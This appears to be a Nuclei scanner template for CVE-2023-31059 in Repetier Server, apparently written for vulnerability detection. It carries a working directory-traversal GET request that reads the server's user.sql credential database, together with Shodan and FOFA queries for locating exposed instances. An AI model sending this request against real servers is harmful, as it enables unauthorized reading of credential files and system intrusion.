id: CVE-2023-31059

info:
  name: Repetier Server - Directory Traversal
  author: parthmalhotra,pdresearch
  severity: high
  description: |
    Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.
  impact: |
    An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Repetier Server.
  reference:
    - https://cybir.com/2023/cve/poc-repetier-server-140/
    - https://www.repetier-server.com/download-repetier-server/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-31059
    cwe-id: CWE-22
    epss-score: 0.00393
    epss-percentile: 0.70614
    cpe: cpe:2.3:a:repetier-server:repetier-server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: repetier-server
    product: repetier-server
    shodan-query: title:"Repetier-Server"
    fofa-query: title="Repetier-Server"
  tags: cve2023,cve,repetier,lfi,repetier-server

http:
  - method: GET
    path:
      - "{{BaseURL}}/views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php"

    matchers-condition: and
    matchers:
      - type: binary
        part: body
        binary:
          - 53514C69746520666F726D6174203300

      - type: status
        status:
          - 200
# digest: 490a00463044022037988cb94ec5fefe05f0dd589b9f27b78e4d9b73921069ebaccb42a00135ca7a02200fd647168e28fb0e37753bdd00a50dcf4ac7cb131ef5a7dce28ad22f8220aa9c:922c64590222798bb761d5b6d8e72950